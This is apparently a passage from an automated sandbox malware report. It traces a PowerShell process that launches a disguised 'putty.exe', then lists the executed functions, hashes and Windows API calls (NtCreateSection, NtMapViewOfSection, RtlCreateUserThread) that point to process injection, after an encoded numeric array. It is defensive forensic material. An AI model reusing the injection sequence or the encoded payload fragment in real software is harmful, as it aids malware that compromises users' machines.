609,602,618,610,619,619,619,608,619,604,609,603,601,619,619,619,607,607,603,619,603,621,622,622,619,619,605,607,620,605,606,623,621,618,603,601,608,606,609,622,623,621,609,610,607,607,622,622,608,604,608,618,605,623,623,622,606,602,619,601,619,601,606,619,608,603,601,618,621,608,602,622,606,608,609,622,623,602,620,621,621,602,620,606,621,601,608,610,619,601,609,608,602,621,608,606,620,618,603,609,602,608,606,605,603,608,622,621,609,603,605,620,602,608,618,622,603,601,606,622,619,604,621,602,607,619,603,620,619,606,607,621,619,622,603,622,622,623,608,620,621,610,619,603,607,618,609,601,618,603,607,602,610,606,620,606,618,605,603,602,603,620,604,610,602,619,622,607,623,618,609,605,608,602,619,604,603,622,602,623,622,620,620,602,618,609,618,619,604,610,606,602,601,621,620,608,607,610,621,623,623,603,610,609,620,618,623,610,610,605,623,621,602,602,606,618,620,607,621,610,604,606,606,608,621,601,620,603,618,621,620,603,602,619,622,618,609,605,610,621,610,601,602,619,606,607,603,620,604,610,605,623,604,608,607,602,610,608,601,606,603,606,610,601,619,618,601,606,603,607,608,622,604,602,622,610,623,608,618,608,604,608,608,605,601,608,601,607,620,601,608,623,622,619,602,618,610,610,606,601,609,619,605,621,618,619,603,610,604,602,604,622,610,607,605,602,606,601,606,609,620,609,606,623,603,609,609,603,608,610,601,601,621,609,601,622,606,621,602,605,606,619,607,605,620,621,601,603,623,620,621,606,602,620,608,609,609,601,609,606,603,622,602,620,605,621,623,619,623,609,610,602,621,620,606,605,609,603,618,608,619,604,608,622,606,619,621,609,620,609,602,620,603,621,623,620,610,623,620,621,605,610,618,622,608,621,608,601,606,606,623,620,618,610,618,606,608,603,603,609,608,607,603,601,608,604,621,609,601,618,619,608,602,618,608,618,610,610,622,609,622,603,602,618,609,619,622,609,619,608,619,607,607,620,601,601,618,610,621,602,602,610,603,618,609,601,602,618,603,621,601,603,607,621,604,621,608,621,606,620,603,603,605,607,608,610,605,610,619,605,606,606,606,621,610,604,608,601,618,618,605,601,619,605,623,618,610,618,604,618,603,619,618,606,605,623,605,621,620,609,620,622,623,609,603,608,610,606,606,619,618,606,601,601,618,602,623,606,606,605,608,622,620,608,601,620,619,619,609,623,609,619,601,622,621,607,609,623,620,623,604,605,601,603,623,608,622,608,605,618,622,601,618,602,610,602,603,618,607,610,601,604,603,603,603,621,619,610,619,619,606,619,618,601,608,618,620,603,620,620,609,607,606,619,605,608,608,601,619,623,622,619,603,618,622,602,610,603,610,621,621,618,610,622,607,623,603,619,602,609,610,604,605,620,609,608,610,601,621,619,620,603,618,603,601,622,603,607,602,608,620,605,602,601,605,604,605,619,620,603,602,619,620,606,622,620,603,623,618,620,622,621,603,603,608,610,610,618,604,610,620,622,621,622,609,618,602,607,620,601,605,601,621,618,610,605,606,618,620,609,604,619,603,602,618,605,60") ➔ 0

Reset < >

Analysis Process: powershell.exePID: 4540, Parent PID: 5512COMMON

Executed Functions

Function 00007FFE7D2B3CDB Relevance: .1, Instructions: 51COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1457128319.00007FFE7D2B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE7D2B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffe7d2b0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: df20d3eb33ae63e710e033fc2b335819bc52043caf5f39c50d5461e92d1b0de8
Instruction ID: c7395eaca6589783307d33b6165997e0ef9750e211483dee1101c6f359cbad7c
Opcode Fuzzy Hash: df20d3eb33ae63e710e033fc2b335819bc52043caf5f39c50d5461e92d1b0de8
Instruction Fuzzy Hash: B6F0C832B2DE9B0FA3A6971C10143B9A2D2FFD916576C02BBC42DC36A5EC2ADC034344

Function 00007FFE7D1E3A05 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1456616716.00007FFE7D1E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE7D1E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffe7d1e0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5e0cd8e44b86cda1606cdcda3d5cd9c82b965f1b77ca43a9ede1ee8a995a9426
Instruction ID: dcf7089faccb73a99e558122e8a142cf90f222e4ea7d57f398cd043e3973d379
Opcode Fuzzy Hash: 5e0cd8e44b86cda1606cdcda3d5cd9c82b965f1b77ca43a9ede1ee8a995a9426
Instruction Fuzzy Hash: D901A77111CB0C4FD744EF0CE051AA5B7E0FB85364F10052EE59AC3661D636E882CB41

Function 00007FFE7D2B4037 Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1457128319.00007FFE7D2B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE7D2B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffe7d2b0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aa9aaa75f47ef84e2ca054179eb6c1005d8937ee8877a53cf86ab90931c33520
Instruction ID: 996be6e983af07ba4c90f2a0c2d7140705d479275e08da96864cf9ccd65c8a84
Opcode Fuzzy Hash: aa9aaa75f47ef84e2ca054179eb6c1005d8937ee8877a53cf86ab90931c33520
Instruction Fuzzy Hash: 08E0D833A1C1198E9754A718E8874F873E0EF45224B4415F7D1AECB477FA127817C681

Function 00007FFE7D2B04D8 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1457128319.00007FFE7D2B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE7D2B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffe7d2b0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: acabb7e1d51aaacad878931e12d212ae2faa59a9a7f64405c7bbc6e24f23840f
Instruction ID: 426f01ec0f3b5e6256dae5d0a18927f5190bd2214957eef09efe57b8d077b344
Opcode Fuzzy Hash: acabb7e1d51aaacad878931e12d212ae2faa59a9a7f64405c7bbc6e24f23840f
Instruction Fuzzy Hash: 07D05E33A0D92C0F5BA6968C64186E97391FB882357140267D81DD3140E9108C1243D4

Function 00007FFE7D2B3D2A Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1457128319.00007FFE7D2B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE7D2B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffe7d2b0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 18254b205ffd70fca343e06fc9c135ffe9f7291c3bed1a8f287c4867f1e36428
Instruction ID: 646cf0206df9f1ca6e469e9951dbf3f95378262d10256b993d48f5a4aedd807c
Opcode Fuzzy Hash: 18254b205ffd70fca343e06fc9c135ffe9f7291c3bed1a8f287c4867f1e36428
Instruction Fuzzy Hash: 16D05E31B28E4F4EE3BAA72C0008235A0D3EFC9602768453A842DC3BA5FC3ADC438304

Analysis Process: putty.exePID: 8072, Parent PID: 4540COMMON

Execution Graph

Execution Coverage:	4.3%
Dynamic/Decrypted Code Coverage:	96.9%
Signature Coverage:	58.5%
Total number of Nodes:	65
Total number of Limit Nodes:	3

Executed Functions

Function 004013BF Relevance: 10.8, APIs: 7, Instructions: 299
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000000E.00000002.1490617655.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_putty.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f1a6a853dab4f549cc320576fe09db09b07e35a282cbb1e4dab32455e86f95e0
Instruction ID: b303ee40ce3cd715bffe5459f1355022e0f5cf8d3c2eb96fe6471530370b2b0e
Opcode Fuzzy Hash: f1a6a853dab4f549cc320576fe09db09b07e35a282cbb1e4dab32455e86f95e0
Instruction Fuzzy Hash: 3BA10872A04204FBEB219F91CC45EEB7BB8EF81710F24452BF902BA1F1D6749902DB65

Function 004014B5 Relevance: 10.7, APIs: 7, Instructions: 180
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401573
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 004015A0
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 004015C3
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 004015E1
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 00401622
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401653
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 00401675

Memory Dump Source

Source File: 0000000E.00000002.1490617655.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_putty.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 719849d05dd569a84f102b076dd352e16165c28b1771b30273656c5f16ef7e6e
Instruction ID: 19a1d6b0ff796e10bf8f41dee95350edbff68fa9ff5f9bfea876b5d94b6971b3
Opcode Fuzzy Hash: 719849d05dd569a84f102b076dd352e16165c28b1771b30273656c5f16ef7e6e
Instruction Fuzzy Hash: C9513BB1900245BFEB209F91CC48FAB7BB8FF85B10F14412AFA11BA2E5D6759941CB64

Function 004014D3 Relevance: 10.7, APIs: 7, Instructions: 169
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401573
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 004015A0
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 004015C3

Memory Dump Source

Source File: 0000000E.00000002.1490617655.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_putty.jbxd

Similarity

API ID: Section$CreateDuplicateObjectView
String ID:
API String ID: 1652636561-0
Opcode ID: b37d7a3f5bcaad5f7e116b16f8babae0ae157dca3b6d02a9ae2d42698eee0e78
Instruction ID: 8103355e2e942ff69e8c14b284ac6daeef9955d1bae1450e847efa7766c746d9
Opcode Fuzzy Hash: b37d7a3f5bcaad5f7e116b16f8babae0ae157dca3b6d02a9ae2d42698eee0e78
Instruction Fuzzy Hash: 245127B1900245BBEF209F91CC48FABBBB8EF86B00F144159FA11BA2A5D6719941CB24

Function 004014F7 Relevance: 10.7, APIs: 7, Instructions: 161
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401573
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 004015A0
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 004015C3
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 004015E1
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 00401622
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401653
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 00401675

Memory Dump Source

Source File: 0000000E.00000002.1490617655.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_putty.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: f4d7e0ef1ba092f52e3f3aa053b09444c5da80675db222bfe35b70c903d8b2e5
Instruction ID: 2227e086d9928dda04f460d80950503c889386f6503bf0ca9f5f85cfbacfc3af
Opcode Fuzzy Hash: f4d7e0ef1ba092f52e3f3aa053b09444c5da80675db222bfe35b70c903d8b2e5
Instruction Fuzzy Hash: 8B5107B1900249BFEF209F91CC48FAFBBB8EF85B10F144159FA11BA2A5D6719945CB24

Function 00402F8F Relevance: 3.2, APIs: 2, Instructions: 168
nativethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlCreateUserThread.NTDLL ref: 004030B7
NtTerminateProcess.NTDLL ref: 004030C8

Memory Dump Source

Source File: 0000000E.00000002.1490617655.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_putty.jbxd

Similarity

API ID: CreateProcessTerminateThreadUser
String ID:
API String ID: 1921587553-0
Opcode ID: 3666794f6f76943507f515948c416729d2a122008cd61b3dc3cfc1699990bb7a
Instruction ID: aa2530698c6aa4494656ae1f9c01ee64b6dc24c6198c14284b052c109098bfb9
Opcode Fuzzy Hash: 3666794f6f76943507f515948c416729d2a122008cd61b3dc3cfc1699990bb7a
Instruction Fuzzy Hash: 1F415832618E0C4FD778EE6CA88966377D5E794351B56437AE809D3388EE30DC5183C5

Function 00481DB7 Relevance: 3.0, APIs: 2, Instructions: 41
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateToolhelp32Snapshot.KERNEL32(00000008,00000000), ref: 00481DDF
Module32First.KERNEL32(00000000,00000224), ref: 00481DFF

Memory Dump Source

Source File: 0000000E.00000002.1491059893.0000000000470000.00000040.00001000.00020000.00000000.sdmp, Offset: 00470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_470000_putty.jbxd

Yara matches

Similarity

API ID: CreateFirstModule32SnapshotToolhelp32
String ID:
API String ID: 3833638111-0
Opcode ID: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction ID: 1c10663cad9ea2644673e0fdf3a8cf5d58c41bd505ab31e600e92df5f4f8aa10
Opcode Fuzzy Hash: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction Fuzzy Hash: 4DF0C2311007106BD7203AB5A88CBAF72ECAF49324F10092BEA46D15D0CB78E9464764

Function 004F003C Relevance: 11.0, APIs: 4, Strings: 2, Instructions: 515
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000004), ref: 004F024D

Strings

cess, xrefs: 004F018D
kernel32.dll, xrefs: 004F008F, 004F0095

Memory Dump Source

Source File: 0000000E.00000002.1491225165.00000000004F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 004F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_4f0000_putty.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID: cess$kernel32.dll
API String ID: 4275171209-1230238691
Opcode ID: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction ID: 83880b094ae64c264b2fc075c34aefdff4589c7d83e42e366babc69d92f96334
Opcode Fuzzy Hash: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction Fuzzy Hash: 6E527A74A01229DFDB64CF58C984BA9BBB1BF09304F1480DAE50DAB352DB34AE85DF15

Function 004F0E0F Relevance: 3.0, APIs: 2, Instructions: 15
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetErrorMode.KERNELBASE(00000400,?,?,004F0223,?,?), ref: 004F0E19
SetErrorMode.KERNELBASE(00000000,?,?,004F0223,?,?), ref: 004F0E1E

Memory Dump Source

Source File: 0000000E.00000002.1491225165.00000000004F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 004F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_4f0000_putty.jbxd

Yara matches

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction ID: 0f54c85112c70c8300c1c69f5b337ed9408a1e8e4429274e0b8fc5c206ebf4b7
Opcode Fuzzy Hash: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction Fuzzy Hash: 37D0123154512CB7D7002A94DC09BDE7B1CDF05B62F008411FB0DD9181C774994046E9

Function 0040C3B1 Relevance: 1.5, APIs: 1, Instructions: 20
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

HeapCreate.KERNELBASE(00000000,00001000,00000000), ref: 0040C3C6

Memory Dump Source

Source File: 0000000E.00000002.1490778089.000000000040B000.00000020.00000001.01000000.00000008.sdmp, Offset: 0040B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_40b000_putty.jbxd

Similarity

API ID: CreateHeap
String ID:
API String ID: 10892065-0
Opcode ID: 71222e89fbad33bf90c2f892ffc061b9edb59bf11242c618400469350826e5ca
Instruction ID: 94244e611b537c2edf94d5cca879c25ed5d218993ee5c4132b7c1dd7bdc8514f
Opcode Fuzzy Hash: 71222e89fbad33bf90c2f892ffc061b9edb59bf11242c618400469350826e5ca
Instruction Fuzzy Hash: 61D05E36590349AADB009FB27C097623BDCA385396F00C436B91CC6590F675C6809A08

Function 00401891 Relevance: 1.3, APIs: 1, Instructions: 58
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00001388), ref: 004018E2

Part of subcall function 004014B5: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401573
Part of subcall function 004014B5: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 004015A0

Memory Dump Source

Source File: 0000000E.00000002.1490617655.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_putty.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: 6c70d353b433dda2f53fd46e2b53eb18a00404936ca24d3f60717acb78d32f73
Instruction ID: 625976beb622557468fde4da7c406050b614696d38d370b0d4d52ea32007e278
Opcode Fuzzy Hash: 6c70d353b433dda2f53fd46e2b53eb18a00404936ca24d3f60717acb78d32f73
Instruction Fuzzy Hash: 2C0192B260C204EBEB002991CC91EBA32299B04350F308133B603790F1D57C8753B36F

Function 004018A9 Relevance: 1.3, APIs: 1, Instructions: 53
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00001388), ref: 004018E2

Part of subcall function 004014B5: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401573
Part of subcall function 004014B5: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 004015A0

Memory Dump Source

Source File: 0000000E.00000002.1490617655.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_putty.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: a0416c7ea6c8b2beaa64009cd037ce3695af2c8d86f7782f0dc7d3fc67dd3c49
Instruction ID: 01e10882b1c060c9bcf7afaa20a424b8b06e3eaca9db3e31c9d827ddeb5dfa52
Opcode Fuzzy Hash: a0416c7ea6c8b2beaa64009cd037ce3695af2c8d86f7782f0dc7d3fc67dd3c49
Instruction Fuzzy Hash: 620178B260C204EBEB042A91CC91EBE2225AB08320F308133B603790F1D67C8753B72F

Function 0040189C Relevance: 1.3, APIs: 1, Instructions: 52sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388), ref: 004018E2

Part of subcall function 004014B5: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401573
Part of subcall function 004014B5: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 004015A0

Memory Dump Source

Source File: 0000000E.00000002.1490617655.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_putty.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: 6b9a7ba5e763362e57e967b3ef273788d2906451f38bbd38aba7de38a4ba4a16
Instruction ID: 091d8ab5f34d30388949969244c388a12b20eca364eb9837eec97541f3976fe9
Opcode Fuzzy Hash: 6b9a7ba5e763362e57e967b3ef273788d2906451f38bbd38aba7de38a4ba4a16
Instruction Fuzzy Hash: 46015AB360C244EBEB016A90C8A1EAA37659B48310F308577B643790F1D67C8753A72F

Function 004018B1 Relevance: 1.3, APIs: 1, Instructions: 52sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388), ref: 004018E2

Part of subcall function 004014B5: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401573
Part of subcall function 004014B5: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 004015A0

Memory Dump Source

Source File: 0000000E.00000002.1490617655.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_putty.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: b76e6f8ea108e6f900b2be892df91fc6f607bea987df0946b9f50da5a95319bc
Instruction ID: 35dd9e0e0d775fbf54de8accc2db9d3c4b904cb042cfc7da377ce8c3fe766ee0
Opcode Fuzzy Hash: b76e6f8ea108e6f900b2be892df91fc6f607bea987df0946b9f50da5a95319bc
Instruction Fuzzy Hash: 5501A2B6208244EBDB015AA4CD52AEE37259B04320F244177FA13BA0F1DA7CC653E76F

Function 00481A76 Relevance: 1.3, APIs: 1, Instructions: 48memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000040), ref: 00481AC7

Memory Dump Source

Source File: 0000000E.00000002.1491059893.0000000000470000.00000040.00001000.00020000.00000000.sdmp, Offset: 00470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_470000_putty.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction ID: 4a36f686e7771f8e781a141a1ff0dcd86aaac19c85aef2a1e9b5e21d59e23690
Opcode Fuzzy Hash: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction Fuzzy Hash: 49116C79A00208EFCB01DF98C985E9CBBF5AF08351F058095F9489B362D375EA90DF80

Function 004018D0 Relevance: 1.3, APIs: 1, Instructions: 43sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388), ref: 004018E2

Part of subcall function 004014B5: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401573
Part of subcall function 004014B5: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 004015A0

Memory Dump Source

Source File: 0000000E.00000002.1490617655.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_putty.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: b859de65e3e4eca09ea0fa0fd0a149a7b7b601be189d05055e302c384b2899de
Instruction ID: 66a051fc3b1640109372302853407978bf892c336f6e5febd052736601f380b8
Opcode Fuzzy Hash: b859de65e3e4eca09ea0fa0fd0a149a7b7b601be189d05055e302c384b2899de
Instruction Fuzzy Hash: DBF04FB6208244EBDB006AD1CC51EAE33699B49364F304173B613790F5D67C8653E72F

Non-executed Functions

Function 00410E32 Relevance: 66.4, APIs: 44, Instructions: 432COMMONLIBRARYCODE

Download Yara Rule

APIs

___getlocaleinfo.LIBCMT ref: 00410E69
___getlocaleinfo.LIBCMT ref: 00410E7E
___getlocaleinfo.LIBCMT ref: 00410E93
___getlocaleinfo.LIBCMT ref: 00410EA8
___getlocaleinfo.LIBCMT ref: 00410EC0
___getlocaleinfo.LIBCMT ref: 00410ED5
___getlocaleinfo.LIBCMT ref: 00410EE7
___getlocaleinfo.LIBCMT ref: 00410EFC
___getlocaleinfo.LIBCMT ref: 00410F14
___getlocaleinfo.LIBCMT ref: 00410F29

Memory Dump Source

Source File: 0000000E.00000002.1490778089.000000000040B000.00000020.00000001.01000000.00000008.sdmp, Offset: 0040B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_40b000_putty.jbxd

Similarity

API ID: ___getlocaleinfo
String ID:
API String ID: 1937885557-0
Opcode ID: 08a5706dd36f95cb33eb1fd19b6180d9160690d7207ff98e0d0a3bb732afdc1e
Instruction ID: 88e971658578b68865164239707bd76bcf5248923822aacfc0123a1835a67747
Opcode Fuzzy Hash: 08a5706dd36f95cb33eb1fd19b6180d9160690d7207ff98e0d0a3bb732afdc1e
Instruction Fuzzy Hash: 17E101B390020DBEEF11DAE2CC85EFF77BDEB5474CF00092AB215D2050EA78AA459764

Function 004F092B Relevance: 3.8, Strings: 3, Instructions: 90COMMON

Download Yara Rule

Strings

l, xrefs: 004F0966
GetProcAddress., xrefs: 004F09DC, 004F09DF, 004F09E4
., xrefs: 004F095F

Memory Dump Source

Source File: 0000000E.00000002.1491225165.00000000004F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 004F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_4f0000_putty.jbxd

Yara matches

Similarity

API ID:
String ID: .$GetProcAddress.$l
API String ID: 0-2784972518
Opcode ID: 067b9ac1cfdfa220879cc7a8ef70782a20aa364414f13e2dc252473fde93e59c
Instruction ID: ee8d9548c56cb374e40298a9480588cf3b25a9a1b09fae618662e7862dfbde42
Opcode Fuzzy Hash: 067b9ac1cfdfa220879cc7a8ef70782a20aa364414f13e2dc252473fde93e59c
Instruction Fuzzy Hash: E3316EB6900609DFDB10CF99C880AAEBBF5FF48324F54404AD541A7312D7B5EA45CFA4

Function 00413FDC Relevance: 1.6, APIs: 1, Instructions: 137COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 00414122
_memset.LIBCMT ref: 00414142
___ansicp.LIBCMT ref: 00414199

Memory Dump Source

Source File: 0000000E.00000002.1490778089.000000000040B000.00000020.00000001.01000000.00000008.sdmp, Offset: 0040B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_40b000_putty.jbxd

Similarity

API ID: ___ansicp_malloc_memset
String ID:
API String ID: 4193369443-0
Opcode ID: 7e1a1e4628112220ad0f07a0ea1e1babc775ebd5659bf910369236d3068288d0
Instruction ID: e3fa58aa22ea0a7c69c667ca1dbcd5c76b6a782e1f1f7b07b6b50d6a3be156e4
Opcode Fuzzy Hash: 7e1a1e4628112220ad0f07a0ea1e1babc775ebd5659bf910369236d3068288d0
Instruction Fuzzy Hash: 7141247150428AFFEB008F64CC859EA7FA8FF55364B24407FE98096192E339C993C759

Function 00413A9C Relevance: .4, Instructions: 384COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.1490778089.000000000040B000.00000020.00000001.01000000.00000008.sdmp, Offset: 0040B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_40b000_putty.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0666e2c6603716d584354562bcf590181c980fb8da26174d951f804026303a75
Instruction ID: dd278a6988458d045ab29f35ff5688a66206b2f227c0c82b7a55a2ba7ab3f698
Opcode Fuzzy Hash: 0666e2c6603716d584354562bcf590181c980fb8da26174d951f804026303a75
Instruction Fuzzy Hash: BFD1B073C0EAB3068735892D415827BEF626FD1A4231EC7E2CCD43F389D52A5E9095D4

Function 0041367C Relevance: .4, Instructions: 378COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.1490778089.000000000040B000.00000020.00000001.01000000.00000008.sdmp, Offset: 0040B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_40b000_putty.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c40bcf876c129f9393d32ca3cb7471e4bcf7a4352579634fb414d11934eaa4f2
Instruction ID: 8c687baa54ed23f2788e6e9380b34e42a3fb810e8a45b3dd17e9d73144ba6d62
Opcode Fuzzy Hash: c40bcf876c129f9393d32ca3cb7471e4bcf7a4352579634fb414d11934eaa4f2
Instruction Fuzzy Hash: 0AD1B2B3C0A6B3068735892D415827BEF626FD174131EC7E2DCD43F389C56A5E9492D4

Function 00413270 Relevance: .4, Instructions: 361COMMON

Download Yara Rule

Memory Dump Source

